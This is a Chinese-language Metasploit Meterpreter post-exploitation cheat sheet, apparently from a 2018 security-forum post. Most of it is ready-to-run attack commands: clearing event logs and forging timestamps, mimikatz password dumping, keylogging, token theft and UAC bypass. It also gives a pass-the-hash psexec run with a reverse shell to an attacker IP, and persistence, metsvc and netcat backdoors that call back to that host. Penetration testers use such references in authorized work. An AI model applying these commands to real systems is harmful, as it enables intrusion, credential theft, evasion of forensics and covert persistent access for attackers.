2018-08-06 首发于阿里先知: https://xz.aliyun.com/t/2536
Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。
0x01.系统命令
1)基本系统命令
1 | sessions #sessions –h 查看帮助 |
2)uictl开关键盘/鼠标
1 | uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标 |
3)webcam摄像头命令
1 | webcam_list #查看摄像头 |
4)execute执行文件
1 | execute #在目标机中执行文件 |
5)migrate进程迁移
1 | getpid # 获取当前进程的pid |
6)clearav清除日志
1 | clearav #清除windows中的应用程序日志、系统日志、安全日志 |
0x02.文件系统命令
1)基本文件系统命令
1 | getwd 或者pwd # 查看当前工作目录 |
2)timestomp伪造时间戳
1 | timestomp C:// -h #查看帮助 |
0x03.网络命令
1)基本网络命令
1 | ipconfig/ifconfig |
2)portfwd端口转发
1 | portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口 |
3)autoroute添加路由
1 | run autoroute –h #查看帮助 |
然后可以利用arp_scanner、portscan等进行扫描1
2run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389
4)Socks4a代理
autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理1
2
3
4msf> use auxiliary/server/socks4a
msf > set srvhost 127.0.0.1
msf > set srvport 1080
msf > run
然后vi /etc/proxychains.conf #添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问
0x04.信息收集
信息收集的脚本位于:1
2/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
信息收集的脚本较多,仅列几个常用的:1
2
3
4
5
6
7
8
9run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
0x05.提权
1)getsystem提权
1 | getsystem |
getsystem工作原理:
①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
③Windows服务已启动,导致与命名管道建立连接。
④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。
2)bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:1
2
3
4use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
如使用bypassuac.rb脚本:1
2
3msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run
3)内核漏洞提权
可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权1
2
3
4meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/local/ms13_053_schlamperei
msf > set SESSION 2
msf > exploit
0x06.mimikatz抓取密码
1 | load mimikatz #help mimikatz 查看帮助 |
0x07.远程桌面&截屏
1 | enumdesktops #查看可用的桌面 |
0x08.开启rdp&添加用户
1)getgui命令
1 | run getgui –h #查看帮助 |
getgui 系统不推荐,推荐使用run post/windows/manage/enable_rdp
getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆
2)enable_rdp脚本
1 | run post/windows/manage/enable_rdp #开启远程桌面 |
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令
0x09.键盘记录
1 | keyscan_start #开始键盘记录 |
0x10.sniffer抓包
1 | use sniffer |
0x11.注册表操作
1)注册表基本命令
1 | reg –h |
2)注册表设置nc后门
1 | upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上传nc |
0x12.令牌操纵
1)incognito假冒令牌
1 | use incognito #help incognito 查看帮助 |
2)steal_token窃取令牌
1 | steal_token <pid值> #从指定进程中窃取token 先ps |
0x13.哈希利用
1)获取哈希
1 | run post/windows/gather/smart_hashdump #从SAM导出密码哈希 |
2)PSExec哈希传递
通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击
前提条件:①开启445端口 smb服务;②开启admin$共享1
2
3
4
5
6
7
8
9msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用户需要设置SMBDomain
msf >exploit
0x14.后门植入
metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。
1)persistence启动项后门
在C:\Users***\AppData\Local\Temp\目录下,上传一个vbs脚本
在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项1
2
3run persistence –h #查看帮助
run persistence -X -i 5 -p 6661 -r 192.168.159.134
#-X指定启动的方式为开机自启动,-i反向连接的时间间隔(5s) –r 指定攻击者的ip
连接后门1
2
3
4
5msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 6661
msf > exploit
2)metsvc服务后门
在C:\Users***\AppData\Local\Temp\上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter1
2run metsvc –h # 查看帮助
run metsvc –A #自动安装后门
连接后门1
2
3
4
5msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST 192.168.159.144
msf > set LPORT 31337
msf > exploit
0x15.扫描脚本
扫描的脚本位于:
/usr/share/metasploit-framework/modules/auxiliary/scanner/
扫描的脚本较多,仅列几个代表:1
2
3
4
5use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login
参考:
https://null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146/
https://thehacktoday.com/metasploit-commands/
https://www.offensive-security.com/metasploit-unleashed/fun-incognito/
https://www.offensive-security.com/metasploit-unleashed/persistent-netcat-backdoor/
https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/
http://www.hackingarticles.in/7-ways-to-privilege-escalation-of-windows-7-pc-bypass-uac/
https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/
http://wooyun.jozxing.cc/static/drops/tips-2227.html